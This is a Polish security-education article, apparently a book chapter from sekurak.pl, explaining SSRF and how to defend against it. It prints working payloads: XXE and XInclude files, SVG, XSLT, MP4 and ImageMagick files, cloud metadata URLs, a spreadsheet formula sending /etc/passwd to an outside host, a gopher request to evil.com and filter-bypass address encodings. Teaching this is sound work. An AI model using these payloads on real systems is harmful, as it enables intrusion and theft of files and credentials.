Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

Czym jest podatność Server-Side Request Forgery? (SSRF). Przykłady / skutki wykorzystania / metody ochrony.

25 stycznia 2023, 09:45 | Teksty | 1 komentarz
Tekst jest jednym z rozdziałów książki sekuraka o bezpieczeństwie aplikacji webowych

Server-Side Request Forgery – czyli zmuszenie serwera do zainicjowania pewnej komunikacji sieciowej. Przykład? Umieszczam na Facebooku link do zewnętrznego zasobu – Facebook łączy się do zadanego URL-a, pobiera jego zawartość, a następnie przedstawia ją użytkownikowi w zgrabnej formie. Całość wygląda całkiem bezpiecznie. W którym zatem miejscu występuje podatność? W zasadzie w żadnym, chociaż jeśli udałoby się zmusić serwer do pobrania zasobu z dowolnego adresu, który podamy – wtedy to już zupełnie inna historia. Historia SSRF, którą poznamy w tym tekście. 

Z jakiego ukrytego założenia korzysta SSRF? Otóż wielu administratorów słabiej (lub w ogóle) zabezpiecza usługi działające tylko na lokalnym serwerze, w backendzie czy ogólnie w sieci LAN, względem usług dostępnych bezpośrednio z Internetu. Często „słabiej” oznacza np. możliwość otrzymania dostępu do usługi bez uwierzytelnienia (pod warunkiem że komunikacja zostanie zainicjowana lokalnie, z tej samej maszyny) czy z włączonymi komunikatami błędów. Przecież nikt normalnie (poza garstką uprawnionych osób) nie posiada dostępu na serwerze, z którego można dalej wysyłać komunikację, więc w czym problem? W możliwościach realizowanych z wykorzystaniem SSRF.

Zobaczmy na diagramie z rysunku 1, jak często wygląda architektura sieci, w której do Internetu udostępniona jest aplikacja webowa. Mamy tutaj: serwer webowy (na którym mogą pracować różne dodatkowe usługi) oraz serwer baz danych. Oba komponenty znajdują się w strefie DMZ. Mamy również sieć LAN. Z Internetu dostępne są tylko porty 80/443 TCP (zielona strzałka na diagramie). 

Rys. 1. Architektura sieci z aplikacją webową – typowa komunikacja

Zastanówmy się, co potencjalnie może uzyskać pentester, wykorzystując podatność SSRF w aplikacji webowej? Dostęp do rozmaitych usług, które działają:

  • na tej samej maszynie co aplikacja (np. na interfejsie loopback),
  • na innych serwerach w DMZ,
  • na firewallach/routerach/switchach,
  • w LAN (jeśli niepoprawnie filtrowana jest komunikacja z DMZ do LAN).

Przykłady tego typu dostępu można prześledzić, analizując rysunek 2. 

Rysunek 2. Architektura sieci z aplikacją webową: wykorzystanie podatności SSRF (ominięcie firewalli)

Warto jednocześnie zauważyć, że SSRF czyni z podatnej aplikacji pewnego rodzaju proxy. W trakcie wykorzystania podatności na poziomie sieciowym realizowane są dwa różne połączenia:

  • atakujący do aplikacji,
  • aplikacja do danego celu (np. usługi na localhoście czy usługi na innym serwerze w DMZ).

Fakt ten jest też o tyle interesujący, że adresem źródłowym w połączeniu do finalnie atakowanej usługi będzie serwer webowy (ten sam, na którym znajduje się podatna na SSRF aplikacja). To właśnie takie działanie często umożliwia omijanie firewalli.

Przykłady

Wcześniej wspomniałem o słabo zabezpieczonych usługach w LAN. Rodzi się pytanie: w jaki sposób można otrzymać z Internetu dostęp właśnie do wewnętrznej usługi? Zobaczmy przykład:

GET /get_resource?file=http://cdn.sekurak.pl/main.js

Zastanówmy się, co stanie się w przypadku, kiedy wartość parametru file zamienimy na:

GET /get_resource?file=http://127.0.0.1:21/

Może uda się zmusić serwer do wysłania zapytania HTTP do samego siebie (na port 21 TCP) albo może nawet do innego hosta – np. w LAN: 

GET /get_resource?file=http://admin:admin@192.168.5.1/

Z jednej strony nawiązanie komunikacji ze strefy DMZ do LAN powinno być zabronione (wynika to z istoty strefy DMZ), z drugiej jednak – w praktyce różnie z tym bywa. Zauważmy również, że w powyższym przykładzie użyłem loginu i hasła. Jeśli usługa (np. panel webowy jednego z wewnętrznych urządzeń) umożliwia dostęp z domyślnymi hasłami za pomocą mechanizmu basic authentication voilá! – mamy dostęp. Otwiera to również możliwość realizacji ataków mających na celu odgadnięcie (np. techniką słownikową) prawidłowej pary login–hasło. 

Możemy również wykonać zapytanie za pomocą SSRF do kontrolowanego przez nas serwera w Internecie. W jakim celu? Aby potwierdzić, że badana aplikacja jest podatna. Zobaczymy wtedy w logach naszego serwera webowego żądanie HTTP przychodzące z serwera, na którym działa aplikacja będąca naszym celem. To wszystko oczywiście przy założeniu, że inicjowanie komunikacji z docelowego serwera nie jest zablokowane na firewallu. A co, jeśli jest? Możliwości jest kilka, jedna z nich to odwołanie się do konkretnej, będącej w naszym posiadaniu domeny i obserwowanie zapytań DNS. W wielu systemach (mimo restrykcyjnych firewalli) komunikacja DNS jest dozwolona. Taka próba mogłaby wyglądać np. tak: 

GET /get_resource?file=http://random.test-domain.sekurak.pl 

Możliwe skutki wykorzystania podatności

Czy ominięcie firewalla z wykorzystaniem SSRF ma wartość czapki gruszek czy raczej miliona dolarów? To zależy, co można zrealizować, łącząc się z normalnie zablokowanymi usługami. Możliwe są tu obie skrajności. Z jednej strony, co daje pentesterowi dostęp do portu, na którym działa jedynie w pełni załatana usługa ssh, do której w dodatku nie posiada danych dostępowych? Nic lub prawie nic. Z drugiej strony, w rozmaitych realnych scenariuszach pentester uzyska:

  • wykonanie dowolnego kodu na poziomie systemu operacyjnego,
  • Denial of Service (DoS) – na usługi sieciowe, np.: http://192.168.10.1/_shutdown/,
  • czytanie plików ze zdalnych zasobów (np. zasobów niedostępnych publicznie), a charakterystycznych dla konkretnych środowisk, np. cloud:
    • http://metadata.google.internal/,
    • http://169.254.169.254/latest/meta-data/,
  • omijanie restrykcji do zasobów bazujących na źródłowym adresie IP,
  • dostęp do urządzeń sieciowych wchodzących w skład infrastruktury (np. do webowych paneli zarządczych).

Z czynności „pomocniczych” realizowane są często:

  • skanowanie portów na lokalnym serwerze/innych urządzeniach czy sieciach dostępnych z podatnej maszyny,
  • próby zlokalizowania poprawnych użytkowników oraz haseł, np.: 
    • http://admin:admin@192.168.10.1/,
    • http://admin:admin2@192.168.10.1/,
    • http://admin:test@192.168.10.1/.

Znamy już podstawy podatności SSRF, omówmy więc teraz bardziej szczegółowo jej elementy. 

Częste miejsca występowania podatności

Podstawy

Dość oczywiste miejsce, od którego warto rozpocząć poszukiwania podatności, to parametry HTTP przekazywane w żądaniu, których nazwy zawierają nazwy plików lub adresy URL. Może to być np.:

  • ?resource=main.js,
  • ?resource=https://cdn.example.com/,
  • każde inne miejsce w żądaniu HTTP, gdzie przekazywane są parametry (np. parametr w ciele żądania typu POST, może to być parametr znajdujący się np. w strukturze JSON przekazanej w ciele żądania).

Jeśli widzimy tego typu przykład: http://translate.google.com/translate?u=sekurak.pl, warto zastanowić się, czy nie występuje tutaj SSRF.

Pliki XML

XXE

Inne „standardowe” miejsce, gdzie warto szukać podatności SSRF, to przetwarzanie pliku XML po stronie serwerowej. Ten element może mieć wiele wariantów. Najbardziej chyba znanym jest podatność XXE. Przykład XXE, który próbuje zrealizować SSRF, przedstawiono poniżej:

Listing 1. SSRF w encji zewnętrznej

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE strony [
<!ENTITY shp SYSTEM "http://127.0.0.1:9555/_shutdown/"> ]>
<strony>
<strona id="sekurak">
<nazwa>Sekurak</nazwa> 
<url>http://www.sekurak.pl/</url> 
<komentarz>I &lt;3 Sekurak! &shp;</komentarz>
</strona>
</strony>

Document type definition (DTD)

Istnieją ataki, które nie bazują na encjach (choć na pierwszy rzut oka wyglądają podobnie do XXE), a jednak zmuszają parsery XML do wykonania pewnej komunikacji. Przykład takiego dokumentu:

Listing 2. SSRF w doctype

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf">
<roottag>not an entity attack!</roottag>

XInclude

W przypadku plików XML można również spróbować skorzystać z mechanizmu XInclude. Umożliwia on dołączenie do bazowego dokumentu XML innych plików (XML lub po prostu plików tekstowych):

Listing 3. Przykład użycia XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href= "http://publicServer.com/file.xml">
</xi:include></data>

Ta metoda ma dla pentestera pewną zaletę w porównaniu z XXE: wskazany plik zewnętrzny nie musi być nawet prawidłowym XML-em. Mówi o tym parametr parse:

Listing 4. Użycie XInclude z parametrem parse

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:includehref="file:///etc/fstab" parse="text"/>
</root>

W ten sposób można próbować czytać dowolne pliki tekstowe, nie tylko te będące prawidłowymi plikami XML. 

SVG/XLink

Sam mechanizm XLink to XML-owy odpowiednik hyperlinków znanych z HTML. Nie zawsze mechanizm XLink jest respektowany/wspierany przez mechanizm przetwarzający XML. Na uwagę zasługują jednak pliki SVG, będące XML-ami. W tym przypadku XLink często jest obsługiwany:

<image xlink:href="http://example.com/?evil=var" /> 

Przykładowy, wykorzystany w ataku plik SVG może wyglądać np. tak:

Listing 5. Plik SVG wykorzystujący mechanizm XLink

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/ svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" /> 
<image height="30" width="30" xlink:href="http://127.0.0.1:9555/_shutdown/" />
<text x="0" y="20" font-size="20">test</text>
</svg> 

XSLT

Podzbiorem problemów z plikami XML mogą być odmiany SSRF realizowane w plikach XSLT.

Zobaczmy taki przykład:

Listing 6. SSRF w pliku XLST

<xsl:templatematch="/">
<xsl:value-of select="document('http://127.0.0.1:22')"/>
</xsl:template match="/"> 

Formaty pakietów biurowych

Dość nietypowym sposobem na realizację SSRF mogą być podatności (czy może funkcje?) w obsłudze formatów używanych przez popularne pakiety biurowe, np. LibreOffice. Ten ostatni jest czasem wykorzystywany po stronie serwerowej w celu konwersji uploadowanego dokumentu na format PDF. W takim przypadku pentester może użyć np. funkcji =WEBSERVICE, umożliwiającej pobranie zewnętrznych (lub lokalnych) zasobów. 

LibreOffice w wersjach poniżej 5.4.5 oraz 6.0 umożliwia atakującym czytanie plików z wykorzystaniem funkcji =WEBSERVICE.”

W tym przypadku pentester przygotowuje plik CSV lub XLS, a w jednej z komórek umieszcza następujący wpis:

=WEBSERVICE("/etc/passwd")

Opcja alternatywna, realizująca SSRF (wysłanie pliku przez sieć):

=WEBSERVICE("http://test.example.com:6000/?q=" & WEBSERVICE("/etc/passwd")) 

Po uploadzie pliku możemy zobaczyć wynikowy plik PDF z zawartością /etc/passwd lub – w przypadku wykorzystania opcji z SSRF – plik zostanie wysłany na nasz serwer. Istnieją też nieco prostsze przypadki umożliwiające wykorzystanie podatności SSRF z plików w rozmaitych formatach pakietów biurowych. Prawdopodobnie większości Czytelników jest znana możliwość dołączania obrazku do pliku w formacie .odt czy .docx. Czy da się dołączyć obrazek z zewnętrznego serwera? Tak. A stąd już krótka droga do poważniejszych konsekwencji, np. umożliwiających wykradanie danych. Na koniec warto uświadomić sobie fakt, że w omawianych przykładach – w różnych scenariuszach – podatna może być wersja LibreOffice (i innych podobnych pakietów) zarówno działająca po stronie serwerowej, jak i klienckiej.

Warto też przypomnieć, że większość nowoczesnych formatów plików typu .docx, .xlsx, .odt to archiwa .zip, zawierające w sobie m.in. pliki XML. Jakie to ma znaczenie? Polecam ponowną lekturę sekcji, w której omówiono problemy w XML-ach.

Inne formaty plików

Dowolne formaty

W pewnym uproszczeniu można powiedzieć, że SSRF realizowany poprzez odpowiednio spreparowane pliki XML to podzbiór innego problemu, polegającego na automatycznym pobieraniu zasobów z dostarczanego (np. mechanizmem uploadu) do serwera pliku, który jest następnie przetwarzany. Zobaczmy przykład umieszczenia takiego fragmentu w pliku:

Listing 7. Próba wykorzystania podatności SSRF w jednej z aplikacji należących do Google

<table id="my_table">
<column id="first" type="string"/>
<column id="last" type="string"/>
<data>
<file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
</data>
</table>

Plik można było uploadować do jednego z systemów Google, co powodowało podłączenie do lokalnej maszyny (Google’a): 

Rys. 3. Widoczny serwer SSH, który nie był dostępny z poziomu Internetu

Na marginesie, więcej “nietypowych adresów” typu 0.0.0.0 można znaleźć w dalszej części tego rozdziału.

MP4

Jeszcze inny przypadek z tej kategorii wart odnotowania to podatność SSRF, która może być wykorzystana poprzez odpowiednio spreparowany plik wideo MP4. Błąd można wykorzystać w momencie, kiedy podatny serwis konwertuje uploadowany plik wideo i korzysta z narzędzia FFmpeg. Ten ostatni wspiera technologię HTTP Live Streaming, która z kolei ma możliwość pobrania pewnych zewnętrznych zasobów. Brzmi już jak nasz znajomy SSRF? Zgadza się, przykładowy plik (niech będzie to podatny_plik.mp4), który realizuje SSRF, wygląda tak:

Listing 8. Przykład pliku MP4 z próbą wykorzystania podatności SSRF

#EXTM3U 
#EXT-X-MEDIA-SEQUENCE:0 
#EXTINF:10.0, 
http://blackhat.com/about.html 
#EXT-X-ENDLIST

lub np. tak:

Listing 9. Przykład pliku MP4 z próbą wykorzystania podatności SSRF

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0, 
concat:http://dx.su/header.m3u8|file:///etc/passwd 
#EXT-X-ENDLIST

SSRF realizowany jest w tym momencie:

ffmpeg -i podatny_plik.mp4 -o wynik.avi

Biblioteki

Warto też zwrócić uwagę na podatności SSRF w rozmaitych bibliotekach. Jako przykład niech posłuży podatność w ImageMagick. W tym przypadku wystarczy wysłać odpowiednio spreparowany plik, zmuszając w ten sposób serwer do wykonania stosownej do potrzeb atakującego komunikacji sieciowej. Przykładowy złośliwy plik (ssrf.mvg) może wyglądać tak: 

Listing 10. Plik MVG z próbą wykorzystania podatności SSRF

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)' 
pop graphic-context

Wykonanie zapytania jest realizowane w przypadku konwersji pliku na inny format (często odbywa się to po stronie serwerowej):

$ convert ssrf.mvg out.png 

Mechanizm uploadu

W tym przypadku chodzi o znane wszystkim formularze uploadu pliku, np. swojego awatara, przy czym najczęściej sam format uploadowanego pliku nie ma większego znaczenia. Ciekawie robi się, kiedy nazwę lub zawartość pliku podamy w nieco innej formie.

Listing 11. Żądanie HTTP z parametrem próbującym wykorzystać podatność SSRF

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryGB91jEIcBxpCcDww
---WebKitFormBoundaryGB91jEIcBxpCcDww Content-Disposition: form-data; name="attachment";
http://169.254.169.254/latest/

Zauważmy, że adres http://169.254.169.254/latest/ został tutaj użyty zamiast treści uploadowanego pliku. W takich przypadkach mechanizm obsługujący upload chce być jak najbardziej przyjazny użytkownikowi

Biblioteka Paperclip implementuje koncepcję IO adapterów, które umożliwiają użytkownikowi wskazanie wielu różnych sposobów na przekazanie na serwer uploadowanego pliku. (…) Jeśli adaptery te są używane, Paperclip działa jako proxy i pobiera plik ze wskazanego w żądaniu URI.”

Jednocześnie warto w tym miejscu zaznaczyć, że czasem mechanizmy uploadu posiadają dodatkowy (ukryty bądź nie) parametr – np. URL, gdzie bezpośrednio można podać stosowny, zewnętrzny zasób. 

Inne miejsca

Serwer może zostać zmuszony do wykonania zapytania HTTP w jeszcze inny sposób. Jesteśmy przyzwyczajeni do żądań HTTP w formie: GET /zasob HTTP/1.0. A co się stanie, jeśli zamiast elementu /zasob użyjemy pełnego adresu URL? Czasami uda się zmusić serwer do połączenia się z inną, wewnętrzną maszyną, a my otrzymamy informacje, do których nie jesteśmy uprawnieni:

Listing 12. Żądanie HTTP z pełnym adresem URL w linijce żądania

GET http://internal-website.mil/ HTTP/1.1 
Host: xxxxxxx.mil
Connection: close

W podobny sposób można czasem „oszukać” usługi reverseproxy, tym razem używając nagłówka Host:

Listing 13. Nagłówek Host zawierający nietypowy adres 

HELP / HTTP/1.1
Host: internal.ip.addr:8082

HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT 
Transfer-Encoding: chunked 
Connection: keep-alive

Z jeszcze innych ciekawych możliwości manipulacji żądaniem, o których wspomniano w cytowanej powyżej pracy, warto przywołać X-Wap-Profile:

Listing 14. Nagłówek X-Wap-Profile – próba wykorzystania podatności SSRF

GET / HTTP/1.1
Host: training.securitum.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml 
Connection: close

Niektóre aplikacje po prostu pobierają wskazany plik XML, co może mieć przynajmniej dwa zastosowania w kontekście naszych rozważań o SSRF: bezpośrednie podanie innego adresu lub podanie adresu do serwera atakującego, gdzie będzie hostowany plik XML, który z kolei zmusi serwer do realizacji kolejnej komunikacji (np. z wykorzystaniem XXE). 

Protokoły inne niż HTTP wykorzystywane w SSRF

Wstęp

Do tej pory poznaliśmy przykłady komunikacji HTTP z wykorzystaniem SSRF. Przyjrzyjmy się teraz możliwościom komunikacji z innymi protokołami. Przypomnijmy: najprostszy przykład komunikacji realizowanej z wykorzystaniem SSRF to komunikacja HTTP na konkretny port, np.:

http://127.0.0.1:21/

Co na taką komunikację odpowie serwer FTP? Zapewne niewiele. Zauważmy, że w tym przypadku zostanie wysłana komunikacja protokołem HTTP do serwera FTP. 

Serwer FTP ją zignoruje, ale prawdopodobnie inaczej zostanie obsłużona komunikacja, kiedy port jest otwarty, a inaczej, kiedy jest zamknięty (np. będą różne czasy odpowiedzi serwera lub komunikaty błędów). Dzięki temu możliwa jest realizacja rekonesansu (które porty są otwarte, a które nie?).

Czasami istnieje jednak możliwość poprawnej komunikacji z serwerem FTP (czy innymi usługami). W jakiej sytuacji? Wtedy, gdy możliwe jest wstrzyknięcie znaków końca linii, np.:

GET /get_resource?ext_url=http://127.0.0.1:21/%0a%0dUSER test%0a%0dPASS test2%0a%0d

W tym przypadku możemy już bez problemu „rozmawiać” z dowolnym protokołem tekstowym, np. memcache, redis itp. Innymi słowy – zwiększamy skuteczne możliwości ataku.

Jako przykład tego problemu można wskazać błąd w pythonowej bibliotece urllib, w wyniku którego możliwe jest wstrzyknięcie znaku końca linii w formie kodowania procentowego, przy czym za CRLF musi być dodatkowo umieszczona spacja (%20). Przykład wykorzystania tego typu problemu można zobaczyć na rysunku 4. Jak widać, dzięki wstrzyknięciu znaku końca linii możliwa jest komunikacja protokołem memcache z usługą działającą na adresie 127.0.0.1. 

Rysunek 4. Wykorzystanie podatności SSRF, możliwość komunikowania się za pomocą protokołu memcache

HTTPS

Być może niektórzy Czytelnicy jako „inne protokoły” wskażą HTTPS. I słusznie, zazwyczaj protokół ten możliwy jest do wykorzystania w przypadku SSRF:

GET /get_resource?ext_url=https://127.0.0.1/ 

Poza oczywistym dostępem do usług działających w oparciu o HTTPS mamy tu jeszcze jedną ciekawostkę. Otóż można próbować wstrzykiwać znak końca linii w nazwie domeny, do której się odwołujemy. Ten przykład opisany jest m.in. w prezentacji: A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages! SNI to – w pewnym skrócie – mechanizm umożliwiający sprawne obsłużenie virtualhostów, jeśli na naszym serwerze obsługujemy HTTPS. Dzięki temu możemy mieć jeden adres IP oraz różne certyfikaty HTTPS dla różnych domen wirtualnych. Przykład poniżej: 

Rysunek 5. Wstrzyknięcie końca linii w TLS SNI

Całość wynika z faktu, że nazwa domeny (łącznie z przełamaniem linii) w tym przypadku przesyłana będzie w formie jawnej, a jak wspominałem wcześniej, taka sytuacja prowadzi często do możliwości „rozmawiania” z dowolnymi protokołami tekstowymi działającymi np. na localhoście. 

PHAR

Część z protokołów może mieć swoje dalsze charakterystyczne cechy i wynikające z nich problemy. Jako przykład niech posłuży phar, który jest charakterystyczny dla technologii PHP. Istnieje możliwość przygotowania pliku phar z taką zawartością, aby samo jego odczytanie wykonało kod w systemie operacyjnym. Przy czym nie chodzi tutaj o zapakowanie do pliku phar pliku php, a następnie poszukiwanie miejsca, w którym programista wypakowuje nasz złośliwy plik php i go uruchamia. Istotą problemu w tym przypadku jest możliwość automatycznej deserializacji danych zawartych w phar (samo archiwum phar może być wręcz puste, bo dane do deserializacji znajdują się w metadanych).

Plik musi istnieć lokalnie na systemie, gdzie występuje podatność SSRF (pentester może go spróbować umieścić na serwerze – np. standardowym mechanizmem uploadu). Przykładowy scenariusz ataku został przedstawiony na rysunku 6. W tym przypadku pentester najpierw tworzy złośliwe archiwum phar oraz wgrywa je na serwer (punkt 1), następnie próbuje odczytać plik phar, korzystając z podatności XXE (punkt 2), a na koniec uzyskuje dostęp na system operacyjny, na którym działa aplikacja (punkt 5a). 

Rysunek 6. Próba wykorzystania podatności SSRF – uzyskanie dostępu do systemu operacyjnego

Warto podkreślić, że plik phar może mieć dowolne rozszerzenie (np. .jpg) oraz jest włączony domyślnie. 

Gopher

Wart odnotowania jest również protokół Gopher, który daje bogate możliwości komunikacji z protokołami binarnymi, a także umożliwia wstrzykiwanie znaków końca linii, co, jak wspomniałem wcześniej, daje duże możliwości „rozmawiania” z rozmaitymi protokołami, innymi niż HTTP/HTTPS. Przykład:

Listing 15. Wykorzystanie podatności SSRF z użyciem protokołu Gopher

gopher://evil.com:12346/_HI%0AMultiline%0Atest
evil.com:#nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [54.227.37.234] port 12346 [tcp/*] accepted (family 2, sport 49398) 

HI
Multiline
test 

Inne protokoły

Dodatkowe potencjalne możliwości mogą dawać inne „protokoły” obsługiwane przez mechanizm pobierający pliki po stronie aplikacyjnej:

  • ftp,
  • telnet,
  • tftp,
  • dict,
  • mailto,
  • file,
  • glob,
  • zip,
  • zlib,
  • rar,
  • ssh2.exec,

Które z nich są włączone domyślnie? Bardzo często zależy to od wykorzystanej technologii czy konkretnej biblioteki użytej po stronie serwerowej. Najprostszy przykład użycia mniej typowego protokołu:

GET /get_resource?file=file:///etc/passwd. 

Częste błędy w filtrach anty-SSRF

Najprostsza metoda ochrony przed SSRF to uniemożliwienie serwerowi komunikowania się z tą samą maszyną czy jakimikolwiek serwerami w backendzie/sieci lokalnej; alternatywnie możemy chcieć wymusić możliwość komunikacji tylko z daną domeną (np. nasz CDN) lub adresami IP. Łatwo powiedzieć, trudniej zrealizować. 

Filtry blacklist

W przypadku filtrów typu blacklista pentester stara się zapisać docelowy adres IP/domenę w nieco inny (ale równoważny) sposób. Skupmy się na zasobie http://127.0.0.1/ i zobaczmy kilka nietypowych metod uzyskania dostępu właśnie do localhosta.

  1. Pierwsza podpowiedź jest w ostatnim zdaniu: http://localhost/. A może http://localHosT/?
  2. Nieco mniej znanym faktem jest to, że „localhost” to cała sieć 127.0.0.0/8. Zatem 127.1.2.3 też da nam dostęp na loopback.
  3. ::1 to kolejny przykład – tym razem to loopback IPv6 (nawet jeśli nie używamy wprost IPv6, zdecydowana większość systemów operacyjnych włącza jego obsługę, udostępniając również loopback, na którym działają usługi). Tutaj sprawdzi się np.: http://[::1]:25.
  4. http://0.0.0.0/ to kolejny adres, który często wskazuje właśnie na localhosta. Mamy też wariant: http://0/ czy odpowiednik IPv6: http://[::]/.
  5. W IPv4 możemy użyć podobnego zapisu adresu IP jak w IPv6, tj. opuścić zera: http://127.1/ jest tym samym co http://127.0.0.1/. 
  6. Dodatkowo istnieje możliwość zapisu adresu IP na wiele różnych sposobów:
  • czym jest np.: http://2130706433/? Spróbujcie w dowolnym systemie operacyjnym wykonać polecenie: ping 2130706433 – tak, to stary dobry 127.0.0.1,
  • czasem działa również: http://6425673729/, czy nieco bardziej drastyczne: http://954437176888888464073248014951756575519519519519518706958139196797091841/,
  • można i tak: http://0x7F000001/,
  • albo ósemkowo: http://0177.0000.0000.0001/,
  • część wariantów można łączyć, np.: http://00000000177.0x1f.20/,
  • w DNS istnieje możliwość skonfigurowania własnej domeny, tak by odpowiadała np. adresem 127.0.0.1.
  1. Jeszcze inny sposób na ominięcie filtru to przygotowanie zasobu na naszym serwerze, który jednak wykona przekierowanie na localhosta. Przykład: /get_resource?file=http://cdn.sekurak.pl/main.js. Jednak cdn.sekurak.pl/main.js od razu przekierowuje (np. kodem odpowiedzi HTTP 302) do http://127.0.0.1/.
  2. Jeśli pentester kontroluje domenę, z której ma być pobrany plik (częsty przypadek w kontekście podatności SSRF), to może spróbować zastosować jesz- cze jedną technikę, określaną jako DNS rebinding25. W tym przypadku podatny fragment aplikacji działa tak:
  • filtr rozwiązuje podaną domenę (korzystając z serwera DNS atakującego) – otrzymuje adres IP niebędący na liście adresów niedozwolonych,
  • aplikacja w takim przypadku wykonuje żądanie HTTP do zasobu, ponow- nie wykonując zapytanie do DNS. Teraz jednak pentester może zwrócić inny adres – np. 127.0.0.1.

Tutaj wskazałem tylko kilka przykładów dla localhosta, a są jeszcze inne sieci prywatne (IPv4 czy IPv6). W tym przypadku oczywiście, jeśli zapomnimy o jakimś wariancie, mamy problem (tj. można ominąć nasz filtr).

Filtry whitelist

Podejście polegające na wykorzystaniu whitelist jest z reguły o wiele bardziej skuteczne. Wskazujemy dokładnie, skąd nasza aplikacja może pobierać zasoby. Na liście nie będzie zazwyczaj żadnego adresu z sieci prywatnych, a będzie np. nasz serwer, gdzie składowane są statyczne pliki – powiedzmy, adres cdn.sekurak.pl. Wydaje się to trudne do ominięcia? Niekoniecznie. Jako pierwszy przykład podam przypadek, kiedy filtr wymuszający komunikację tylko z daną domeną domyślnie używa wyrażeń regularnych, w których kropka oznacza dowolny znak. Jeśli chcę wymusić, aby pobieranie zewnętrznych zasobów odbywało się tylko z domeny cdn.sekurak.pl, porównuję przekazaną wartość z ciągiem cdn.sekurak.pl. Teoretycznie oczywiste, ale kiedy nasz ciąg (cdn.sekurak.pl) w trakcie porównania traktowany jest jako wyrażenie regularne (w którym kropka oznacza dowolny znak), można ominąć taki filtr, podając jako domenę np. wartość: cdnAsekurak.pl.

Niekiedy ominięcie filtru bywa jeszcze prostsze. Możemy pobierać zasoby tylko z adresu zawierającego „google.com”? Sprawdźmy: cdn.sekurak.pl/file?google.com. Prosty przykład tego typu można zobaczyć w opisie błędu znalezionego w serwisie duckduckgo.com. Problematyczna bywa również obsługa znaków @ oraz #. Przypomnijmy sobie nieco bardziej rozbudowany adres URL.

http://user:password@example.com:8042/over/there?name=ferret#nose

Znak # oznacza fragment (odwołanie do kotwicy HTML). Przeglądarka internetowa nie wysyła do serwera ani samego znaku #, ani niczego, co znajduje się po nim. Znak @ oddziela z kolei dane o użytkowniku od adresu serwera. Zobaczmy taki przykład:

GET /get_resource?file=http://127.0.0.1:11211#@google.com:80/

Czy tutaj powinniśmy się łączyć do 127.0.0.1? (bo domena google.com jest we fragmencie). Czy może do google.com, bo przecież 127.0.0.1 to nazwa użytkownika, a 12111# to hasło?

Jak sprawdzi to filtr? Może pozwoli na taki adres, natomiast aplikacja, która wykona żądanie, zrealizuje je do 127.0.0.1? Na tego typu sztuczkach polega obchodzenie filtrów whitelist.

Można to dalej komplikować – co np., jeśli dwa (lub więcej) razy użyjemy w URL-u znaku @? Analogicznie można spróbować ominąć filtr wymuszający połączenie się serwera tylko na konkretny port (np. 80): http://127.0.0.1:11111:80/. Więcej tego typu przykładów można znaleźć w przywołanej już pracy: A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!

Na koniec warto wspomnieć, że można próbować łączyć wszystkie wyliczone techniki w celu ominięcia filtrów – dwie główne zasady to: kwestia zapisu adresów IP oraz sposób działania parsera URL. Ścieżka od podania URL-a do wysłania pakietu IP może wyglądać np. tak jak na rysunku 7.

Czasem ścieżka przetwarzania takiego URL-a może wyglądać inaczej – być może to parser URL „da sobie radę” ze spacją w adresie? Ale który adres będzie uznany za właściwy (00177.0.0.0xf.5 czy 192.168.0.1)? Kiedy zastosowany zostanie filtr sprawdzający, czy możemy podłączyć się do wskazanego adresu? Co się stanie, jeśli podamy więcej zer przed adresem IP (czyli: 00000000000177.0.0xf.5.)? A może literę X możemy napisać wielką literą (0XF)? Odpowiedzi na tego typu pytania prowadzą często do możliwości omijania zabezpieczeń przeciwko podatności SSRF. 

Rysunek 7. Od URL-a do pakietu IP

Metody ochrony

Idealną sytuację mamy w momencie, gdy możemy ograniczyć pobieranie zasobów w aplikacji tylko do konkretnej domeny oraz odpowiednich zasobów (np. tylko domena cdn.sekurak.pl oraz pliki z rozszerzeniem .jpg) – sprawdzamy przekazany przez użytkownika URL za pomocą stosownego wyrażenia regularnego i gotowe (pamiętajmy jednak o specyficznym znaczeniu znaku . [kropki] w wyrażeniach regularnych). Jeśli dajemy możliwość podania użytkownikowi dowolnego adresu URL w naszej aplikacji:

  1. Wyłączmy niepotrzebne protokoły (np. Gopher).
  2. Wyłączmy obsługę przekierowań.
  3. Zablokujmy aplikacji możliwość komunikacji do:
    1. maszyny, na której działa sama aplikacja,
    2. do innych hostów w obrębie naszej infrastruktury.
  4. Wymuśmy możliwość połączenia tylko z danym portem (np. 80, 443).
  5. Wyłączmy wyświetlanie szczegółowych informacji w przypadku wystąpienia błędów.

Łatwo napisać, trudniej zrealizować. W szczególności zwracam uwagę na mniej znane miejsca, w których może wystąpić SSRF (zob. wspomniana wcześniej obsługa plików XML czy MP4).

Bardzo dobrą metodą ochrony jest wymuszenie realizacji komunikacji, najczęściej po prostu żądań protokołem HTTP(S), przez osobny, skonfigurowany przez nas komponent proxy. Na samym komponencie ustawiamy stosowne filtrowanie ruchu (na firewallu). 

Podsumowanie

Czy podatność SSRF warta jest miliona dolarów, czy raczej czapki gruszek? Odpowiedź na to pytanie wprost zależy od tego, czy uda się ją połączyć z innymi podatnościami, a ich wykrycie jest często utrudnione ze względu na stosunkowo małą ilość informacji zwrotnych, które pentester może pozyskać w trakcie prób wy- korzystania SSRF. Najwięcej zależy więc od inwencji napastnika – również finalna „nagroda”… 

~Michał Sajdak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. ja

    Dzięki za art, z pewnością przeczytam.

    Odpowiedz

Odpowiedz